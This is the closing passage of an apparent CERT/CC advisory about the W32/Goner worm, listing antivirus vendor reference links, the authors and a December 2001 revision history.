http://www.sophos.com/virusinfo/analyses/w32gonera.html

Symantec

http://www.sarc.com/avcenter/venc/data/w32.goner.a@mm.html

Trend Micro

http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=WORM_GONE.A

In addition to these specific vendors, you may wish to visit the CERT/CC's computer virus resources page located at

http://www.cert.org/other_sources/viruses.html

Author(s): Brian B. King, John Shaffer, Robert Hanson

Revision History

```
December 4, 2001: Initial Release
```